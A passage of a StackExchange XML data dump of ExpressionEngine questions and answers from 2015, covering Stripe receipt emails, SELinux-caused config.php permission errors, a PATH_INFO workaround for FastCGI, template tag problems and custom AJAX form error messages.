LastEditorUserId="3579" LastEditDate="2015-07-02T13:43:15.067" LastActivityDate="2015-07-02T13:43:15.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32160" PostTypeId="2" ParentId="32155" CreationDate="2015-07-01T14:49:10.273" Score="0" Body="&lt;p&gt;You could use the hook: &lt;strong&gt;store_transaction_update_end&lt;/strong&gt; (shown here: &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/extension_hooks.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that hook is triggered, check if it was successful, if so, then supply the email and transaction ID as a request to the proper API call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I see that stripe uses JS to send the info to their form using the store module, maybe creating a &lt;strong&gt;hidden field receipt_email&lt;/strong&gt; in the form that the JS gets the info from to send to Stripe will work as well.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2015-07-01T14:49:10.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32161" PostTypeId="2" ParentId="32151" CreationDate="2015-07-01T17:16:26.143" Score="1" Body="&lt;p&gt;OK that makes sense. But how can I determine which user/group is running (in this case) Apache?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web root path is /var/www/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm somewhat comfortable on the command line, but for sure not a sysadmin. Right now the permissions for config.php read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-rw-rw-. 1 jack.brighton jack.brighton     0 Jun 30 17:56 config.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, changing permissions on config.php to 777 did not fix the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help! There's got to be a simple cure I know...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Resolved&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This turned out to be caused by the restrictions imposed at the server by SELinux type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/forums/viewthread/234552/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/234552/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6452" LastEditorUserId="6452" LastEditDate="2015-07-06T17:52:12.780" LastActivityDate="2015-07-06T17:52:12.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32162" PostTypeId="2" ParentId="32155" CreationDate="2015-07-01T18:54:57.860" Score="1" Body="&lt;p&gt;There is not a setting in Store you would need to log into your Stripe account to enable their email to be sent for different actions. To do this you would need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;https://dashboard.stripe.com/account&quot; rel=&quot;nofollow&quot;&gt;https://dashboard.stripe.com/account&lt;/a&gt; this should bring up the account modal if not click on your account name in the upper right corner.&lt;/li&gt;&#xA;&lt;li&gt;Click emails from the modal window on the right side.&lt;/li&gt;&#xA;&lt;li&gt;Check the boxes next to the emails you want Stripe to send to you and/or the customer on a completed order or refund.&lt;/li&gt;&#xA;&lt;li&gt;Save by clicking Done&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that Stripe will send out emails based upon your selection anytime an order is processed in Store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store has the ability to send out emails based upon order status, the benefit of sending the emails through Store over Stripe is that you have full control of the markup and you are able to use any and all EE custom fields, snippets, and most other add-ons. You can see more information about the email templates in the &lt;a href=&quot;https://www.exp-resso.com/docs/settings_email_templates.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; and you would want to use the &lt;a href=&quot;https://www.exp-resso.com/docs/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;orders tag&lt;/a&gt; pair to build you templates.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-07-01T21:30:36.360" LastActivityDate="2015-07-01T21:30:36.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32164" PostTypeId="2" ParentId="13439" CreationDate="2015-07-02T10:51:53.457" Score="0" Body="&lt;p&gt;For further clarity and thoroughness, I had to engineer another approach-based solution. As an added bonus, the shared hosting environment we had to use was forced to use FastCGI, and on top of that wouldn't allow us to modify any CGI or PHP configurations. Really unhelpful I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As has been made clear by other answers and discussions, the problem seems to be that when using a CGI-based implementation of PHP, the &lt;code&gt;$_SERVER['PATH_INFO']&lt;/code&gt; variable is not available, but it is unfortunately required by ExpressionEngine when trying to route requests, specifically when trying to navigate without the pesky &lt;code&gt;index.php&lt;/code&gt; string being present in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the end, what worked for me was this 3 step 'custom' approach:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, in &lt;code&gt;ExpressionEngine &amp;gt; CP Home &amp;gt; Admin &amp;gt; System Administration &amp;gt; Output And Debugging&lt;/code&gt;, I set &lt;strong&gt;Force URL query strings&lt;/strong&gt; to &lt;strong&gt;No&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Next, as mentioned in previous answers, I changed the &lt;code&gt;.htaccess&lt;/code&gt; directive from &lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L,QSA]&lt;/code&gt; &lt;strong&gt;to&lt;/strong&gt; &lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L,QSA]&lt;/code&gt; (extra ? after index.php).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, I added this piece of custom PHP code to the top of site root's &lt;code&gt;index.php&lt;/code&gt; file to &quot;force&quot; the &lt;code&gt;$_SERVER['PATH_INFO']&lt;/code&gt; variable into accurate existence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $path = $_SERVER['REQUEST_URI'];&#xA;    $pos = strpos($path, '?');&#xA;    if ($pos !== false)&#xA;        $path = substr($path, 0, $pos);&#xA;    $_SERVER['PATH_INFO'] = $path;&#xA;&#xA;    /**&#xA;     * ExpressionEngine - by EllisLab&#xA;       ...&#xA;       ...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone! I really pulled my hair out trying to find somewhat more elegant solutions!&lt;/p&gt;&#xA;" OwnerUserId="2432" LastActivityDate="2015-07-02T10:51:53.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32165" PostTypeId="1" CreationDate="2015-07-02T12:36:45.550" Score="0" ViewCount="121" Body="&lt;p&gt;In the Custom Field Type, I've made separate table to store other information. So it means single field value contain many values in array. I want to use this array as pair tags on expressionengine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playlist}&#xA;    {playlist:videos}&#xA;    {playlist:titles}&#xA;{/playlist}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As playlist has multiple videos and titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://postimg.org/image/60spnlykt/&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/60spnlykt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://postimg.org/image/c63h56cb9/&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/c63h56cb9/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6379" LastEditorUserId="343" LastEditDate="2015-07-03T12:48:20.223" LastActivityDate="2016-05-12T18:12:53.960" Title="Pair variables on Custom Field Type" Tags="|custom-fields|tags|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32166" PostTypeId="2" ParentId="25774" CreationDate="2015-07-02T13:04:15.613" Score="1" Body="&lt;p&gt;You should remove &quot;index.php&quot; from 'Name of your site's index page' in control panel (Admin -&gt; General configuration).&lt;/p&gt;&#xA;" OwnerUserId="6456" LastActivityDate="2015-07-02T13:04:15.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32167" PostTypeId="2" ParentId="32151" CreationDate="2015-07-02T14:06:13.493" Score="0" Body="&lt;p&gt;After running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps -Aef | grep &quot;apache&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apache   30572 21798  0 07:18 ?  00:00:00 /usr/sbin/httpd -DFOREGROUND&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So apache is the agent.  The config.php file definitely exists in the path, as I can see it via both sFTP and via command line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I checked with the server admin about the user agent and group. Apache is the agent and the group is named web. I can verify that all the relevant EE files are owned by apache:web, with permissions set to 777. Should be 666 for config.php I know, but even with the above the EE Installer says config.php is not accessible. I've never run into anything like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jack&lt;/p&gt;&#xA;" OwnerUserId="6452" LastEditorUserId="6452" LastEditDate="2015-07-04T00:46:00.690" LastActivityDate="2015-07-04T00:46:00.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32168" PostTypeId="1" AcceptedAnswerId="32266" CreationDate="2015-07-02T16:45:00.860" Score="0" ViewCount="52" Body="&lt;p&gt;I am running Solspace User 3.5.3 on EE 2.9.2 and have a discrepancy with the total number of entries shown for a user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am logged in as admin for the site and I go to my profile in user_main, it says I have a total of 0 entries. However it also has a link to the page that displays all my entries and there are 19 pages worth of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for this section is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;list-group-item&quot;&amp;gt;&#xA;&amp;lt;strong&amp;gt;Total Entries:&amp;lt;/strong&amp;gt; &amp;amp;nbsp; &#xA;{if last_entry_date == &quot;0&quot;}&#xA;This user has not published any entries yet.&#xA;{if:else}&#xA;{total_entries} &amp;amp;nbsp; &amp;lt;i&amp;gt;(last published: {last_entry_date format=&quot;%F %j, %Y&quot;})&amp;lt;/i&amp;gt;&#xA;{/if}&#xA;&amp;amp;nbsp; &amp;lt;a href=&quot;{path='user_main/user_entries'}/{member_id}/&quot;&amp;gt;view all &amp;amp;rarr;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same problem is evident on the user_entries page where despite the fact that there are 19 pages of entries, the total_count shows as 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bx5I3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 style=&quot;margin-bottom:20px;&quot;&amp;gt;{exp:user:stats member_id=&quot;{segment_3}&quot; limit=&quot;1&quot;}{if logged_in_member_id == &quot;{segment_3}&quot;}My{if:else}{screen_name}'s{/if} Entries &amp;lt;span class=&quot;label label-warning&quot;&amp;gt;{total_entries}{/exp:user:stats}&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly {total_entries} is having a bad day.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-07-10T05:24:03.663" Title="Solspace: User - Total Entries showing as 0 for user" Tags="|solspace-user|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32169" PostTypeId="1" CreationDate="2015-07-02T20:56:32.253" Score="0" ViewCount="28" Body="&lt;p&gt;I'm setting up a new site using Solspace Tag. Everything displays the way I want it to, except that inexplicably a random code pair — {paginate}{/paginate} — is getting inserted.&lt;img src=&quot;https://i.stack.imgur.com/tTSIA.png&quot; alt=&quot;Here&amp;#39;s a screen shot of the results I&amp;#39;m getting.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through the code for the template and can find no reason for this to happen. Does anyone have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;L.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--- stories/More Stories&#xA;    Displays stories that are related to the story because of tags.&#xA;    *See template main/index for more template details; only details on this specific template will be documented --}&#xA;&#xA;&amp;lt;div class=&quot;page-header&quot;&amp;gt;&amp;lt;h3&amp;gt;More stories like this one&amp;lt;/h3&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;card-bg&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;recent-posts&quot; class=&quot;media-list&quot;&amp;gt;&#xA;&#xA;    {!-- Displays stories with similar tags --}&#xA;    {exp:tag:related_entries limit=&quot;5&quot; orderby=&quot;relevance&quot; disable=&quot;categories|member_data|category_fields|pagination&quot; dynamic=&quot;no&quot; paginate=&quot;both&quot; status=&quot;open|featured&quot;}&#xA;&#xA;        &amp;lt;li class=&quot;media card&quot;&amp;gt;&#xA;&#xA;          {if news_image}&#xA;              &amp;lt;a href=&quot;{post_path}&quot; class=&quot;pull-left&quot;&amp;gt;&#xA;              {news_image}&#xA;                      &amp;lt;img src={path}/_rect/{filename}.{extension} alt=”{title}” class=&quot;img-responsive&quot;/&amp;gt;&#xA;              {/news_image}&#xA;              &amp;lt;/a&amp;gt;&#xA;          {if:else}&#xA;              &amp;lt;a href=&quot;{post_path}&quot; class=&quot;pull-left&quot;&amp;gt;&#xA;              &amp;lt;img src=&quot;{site_url}images/posts/rji-post.jpg&quot; alt=&quot;{title}&quot; class=&quot;img-responsive&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;          {/if}&#xA;&#xA;          &amp;lt;div class=&quot;media-body&quot;&amp;gt;&#xA;            &amp;lt;h4 class=&quot;media-heading&quot;&amp;gt;&amp;lt;a class=&quot;media-heading&quot; href=&quot;{post_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;              {!-- If statement below checks if there is a start time (it is an event) and gives the event start/finish but if not (it is a post) and displays author and publish date --}&#xA;              &amp;lt;br /&amp;gt;&amp;lt;span class=&quot;small capitalize&quot;&amp;gt;&#xA;              {entry_date format=&quot;%F %j, %Y&quot;} | Relevance: {tag_relevance_percent}%&#xA;              &amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;span&amp;gt;{teaser}&#xA;              {event_teaser}&amp;lt;/span&amp;gt; {!-- Only appears if it is from Event channel --}&#xA;          &amp;lt;/div&amp;gt; {!-- ends .media-body --}&#xA;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;    {/exp:tag:related_entries}&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to use pagination with this, as there will ever only be at most 5 entries displayed. I'm trying to get rid of the {paginate}{/paginate} tags that are displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine 2.10.1&#xA;Solspace Tag 4.2.9&#xA;PHP 5.3.29&#xA;Apache 2.2.22&lt;/p&gt;&#xA;" OwnerUserId="6458" LastEditorUserId="6458" LastEditDate="2015-07-04T19:53:27.440" LastActivityDate="2015-07-04T19:53:27.440" Title="Paginate tag pair inserted using Solspace Tag" Tags="|solspace|pagination|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32170" PostTypeId="1" CreationDate="2015-07-03T01:11:26.793" Score="0" ViewCount="70" Body="&lt;p&gt;My company website is setup as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Product Categories&#xA;    -Chairs&#xA;        -Armchairs&#xA;        -Dining Chairs&#xA;    -Tables&#xA;        -Dining Tables&#xA;        -Coffee Tables&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to adjust how I filter the products on a page.&#xA;So far, I am only able to filter them based on the product fields, using the code below. (*Note - here I am filtering products by the manufacturer product field.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;linea/display-products&quot; paginate_base=&quot;{segment_1}/page&quot; search=&quot;search:manufacturer='Viccarbe'&quot; limit=&quot;12&quot; order-by=&quot;title&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I need to be able to filter products based on the product &lt;strong&gt;categories&lt;/strong&gt; rather.&#xA;I am using the Low Seg2Cat addon, and have tried using the code below, as suggested in an alternate post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;linea/display-products&quot; paginate_base=&quot;{segment_1}/page&quot; search=&quot;search:manufacturer='Viccarbe' search:{segment_3_category_name}='coffee-tables'&quot; limit=&quot;10&quot; order-by=&quot;title&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also did not work.&#xA;Any help is much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resources: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2226/how-do-i-display-a-category-name-based-on-a-segment&quot;&gt;How do I display a category name based on a segment?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Edit - This is the embedded channel entries tag -  &lt;code&gt;{exp:channel:entries channel=&quot;product&quot; {embed:search} category=&quot;{segment_3_category_id}&quot; limit=&quot;{embed:limit}&quot; paginate=&quot;bottom&quot; paginate_base=&quot;{embed:paginate_base}&quot; orderby=&quot;{embed:order-by}|title&quot; sort=&quot;asc|asc&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6224" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2016-06-11T02:04:47.310" Title="How to filter a session based on category rather than product field?" Tags="|categories|low-seg2cat|category-group|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32171" PostTypeId="2" ParentId="32083" CreationDate="2015-07-03T07:43:41.757" Score="0" Body="&lt;p&gt;I decided to go with the hook cp_js_end. I linked it with this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addJs(){&#xA;        $js = &quot;&#xA;             if(window.location.href.indexOf('content_edit') &amp;gt; -1) &#xA;             {&#xA;                var colNr = 2;  &#xA;&#xA;                $('.mainTable').find('tr').each(function(){&#xA;                    $(this).find('th').eq(colNr).after('&amp;lt;th data-table_column=\'your-colomn-name\'&amp;gt;Your column name&amp;lt;/th&amp;gt;');&#xA;                    $(this).find('td').eq(colNr).after('&amp;lt;td&amp;gt;Your content for this cell&amp;lt;/td&amp;gt;');&#xA;               });&#xA;            }&#xA;        &quot;;&#xA;&#xA;        return $this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;last_call . $js;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-07-03T07:43:41.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32172" PostTypeId="1" CreationDate="2015-07-03T09:05:15.363" Score="0" ViewCount="352" Body="&lt;p&gt;I'm using the AJAX form example for Freeform Pro as described here;&#xA;&lt;a href=&quot;https://solspace.com/docs/freeform/form/#ajax_validation&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/form/#ajax_validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the error messages are not very useful and simply say &quot;Required field missing input&quot;. Does anyone know if there is a simple way to customise these for each field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking this is perhaps more something in javascript than the module itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have prevent duplicates switched on for the email address, so I would need to ensure there is still an error for the duplicate along with email errors such as &quot;Please enter your email address&quot; or &quot;Please enter a valid email address&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Neil&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2019-10-03T15:00:40.287" Title="Custom error messages with Freeform Pro ajax form" Tags="|solspace-freeform|jquery|javascript|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32173" PostTypeId="1" AcceptedAnswerId="32177" CreationDate="2015-07-03T10:00:45.473" Score="1" ViewCount="64" Body="&lt;p&gt;I want to use the module Shine pdf to generate pdf's. Only problem is it doesn't render embed tags in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to change the code in the module so it would render embed tags. This option would save me tons of time. Could someone push me in the right direction into what EE function I should use for this?&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-07-03T14:45:20.133" Title="Render embed tags Shine pdf" Tags="|add-on-development|module|embeds|shine-pdf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32174" PostTypeId="1" CreationDate="2015-07-03T10:45:34.007" Score="0" ViewCount="57" Body="&lt;p&gt;How can I show an Assets image within my Low Search Results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive tried the variable name and using the pair {my_assets_field var_prefix=&quot;file:}{file:url}{/my_assets_field}&lt;/p&gt;&#xA;" OwnerUserId="793" LastActivityDate="2015-07-03T10:45:34.007" Title="How can I show an Assets image within my Low Search Results?" Tags="|assets|low-search|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32175" PostTypeId="1" AcceptedAnswerId="32176" CreationDate="2015-07-03T10:50:53.093" Score="0" ViewCount="152" Body="&lt;p&gt;Is it possible to use a count conditional (or equivalent conditional) to change the display of an entry tag depending on how many entries there are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a grid field which I am using for a simple image gallery. I would like to add a condition so that if there is only one entry the image will display as a hero banner, but if there is more than one entry it will change to a gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't sure if the following (or similar) was possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count &amp;gt; 1}&#xA;   &amp;lt;!-- Gallery --&amp;gt;        &#xA;{if:else}&#xA;   &amp;lt;!-- Hero Image --&amp;gt;          &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="6459" LastActivityDate="2015-07-03T11:25:17.863" Title="Possible to use count conditional to change channel entry display?" Tags="|entries|count|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32176" PostTypeId="2" ParentId="32175" CreationDate="2015-07-03T11:25:17.863" Score="0" Body="&lt;p&gt;Certainly, what you want to do is this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_field}&#xA;  {if total_rows &amp;lt; 2}&#xA;    {!-- Hero Banner goes here --}&#xA;  {if:else}&#xA;    {!-- Each Gallery Image displayed here --}&#xA;  {/if}&#xA;{/grid_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that for what you're asking (if more than one do X else do Y) on a &lt;strong&gt;grid&lt;/strong&gt; field you will need to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html#total-rows&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{total_rows}&lt;/code&gt;&lt;/a&gt; parameter (or for channel entries its &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#absolute-results&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{absolute_results}&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note the &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;. Simple conditionals are parsed before module tags, advanced ones after. I don't think it makes a different but if you're not getting the right results change the &lt;code&gt;{if total_rows &amp;lt; 2}{if:else}{/if}&lt;/code&gt; to a &lt;code&gt;{if total_rows &amp;lt; 2}{/if}{if total_rows &amp;gt; 1}{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-03T11:25:17.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32177" PostTypeId="2" ParentId="32173" CreationDate="2015-07-03T11:35:22.880" Score="2" Body="&lt;p&gt;What you're looking to do is far from trivial, however....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets simplify first. Forget the pdf module, I assume you want to render your embed (and any other) tags and push the result into your pdf document (or anywhere else). In short you want EE Template in, Html Out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can actually achieve this prior to the PDF creation, and avoid heavy modification of the module, after all you don't know how they could be parsing in the module, in the best case it'll be a normal tag renderer but as the &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt; shows the Shine PDF tag will be processed long before your embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, with some clever PHP you can re-use the EE Template engine, we can render the EE template using the Template engine and output it onto the template &lt;strong&gt;before&lt;/strong&gt; the module tags, like so : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP &lt;strong&gt;on&lt;/strong&gt; parsed on &lt;strong&gt;input&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  //this is the template code you wish to parse early into the pdf&#xA;  $str = &quot;{embed='group/template' embedvar='true'}&quot;;&#xA;  ee()-&amp;gt;TMPL-&amp;gt;parse($str);&#xA;?&amp;gt;&#xA;{exp:shine_pdf:make}&#xA;  &amp;lt;?php echo $str; ?&amp;gt;&#xA;{/exp:shine_pdf:make}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should parse the &lt;code&gt;$str&lt;/code&gt; as if it was part of the template you are on at the moment (so your globals, variables etc should be available).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is untested please note, so you may have to debug, however the concept is sound (used it before). Also note I've never used Shine PDF before but I'm assuming its a case of 'put your content between the tags', so I've put &lt;code&gt;{exp:shine_pdf:make}&lt;/code&gt; tags in for example.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="6205" LastEditDate="2015-07-03T14:45:20.133" LastActivityDate="2015-07-03T14:45:20.133" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32178" PostTypeId="2" ParentId="32172" CreationDate="2015-07-03T11:57:30.647" Score="0" Body="&lt;p&gt;Becaus its late in the day processing wise (AJAX and all). It's not exactly fluid, for me I've previously had to do this by passing the error strings through a function that does a stripos for known messages (you know the field and the message) and swaps them around...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function reformat_errors(i, items){&#xA;  var outErr = &quot;&quot;;&#xA;  //field switch, add more fields in the switch below&#xA;  //and add a function to rewrite the messages&#xA;  switch (i) {&#xA;    case 'emailField':&#xA;    case 'emailConfirmField':&#xA;      if ( $.isArray(items) ) {&#xA;        for ( var c = 0; c &amp;lt; item.count; c++ ) {&#xA;          outErr += reformat_errors_emailField(items[c]);&#xA;        }&#xA;      } else {&#xA;        outErr += reformat_errors_emailField(items);&#xA;      }&#xA;      break;&#xA;  }&#xA;  return outErr;&#xA;}&#xA;&#xA;function reformat_errors_emailField(item){&#xA;  var test = item.toLowerCase();&#xA;  //add an elseif condition for each message to catch&#xA;  if ( test.indexOf(&quot;required field missing input&quot;) &amp;gt;= 0 ) {&#xA;    return &quot;Please enter an Email Address&quot;;&#xA;  } else if (test.indexOf(&quot;does not match&quot;) &amp;gt;= 0 ) {&#xA;    return &quot;This email address does not match the previous email address&quot;&#xA;  } else {&#xA;    return item;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (data.success == false)&#xA;{&#xA;  //data.errors&#xA;  $.each(data.errors, function(i, item){&#xA;    var $errorHolder = $('[name=&quot;' + i + '&quot;]').&#xA;    parent().find('.error_message');&#xA;    //instead of this, lets reformat errors outself&#xA;    //var error = ($.isArray(item) ? item.join('&amp;lt;br/&amp;gt;') : item);&#xA;    reformat_errors(item);&#xA;&#xA;    //does the error holder field exist?&#xA;    if ($errorHolder.length &amp;gt; 0)&#xA;    {&#xA;      $errorHolder.append('&amp;lt;p&amp;gt;' + error + '&amp;lt;/p&amp;gt;').show();&#xA;    }&#xA;    //lets add it to general errors&#xA;    else&#xA;    {&#xA;       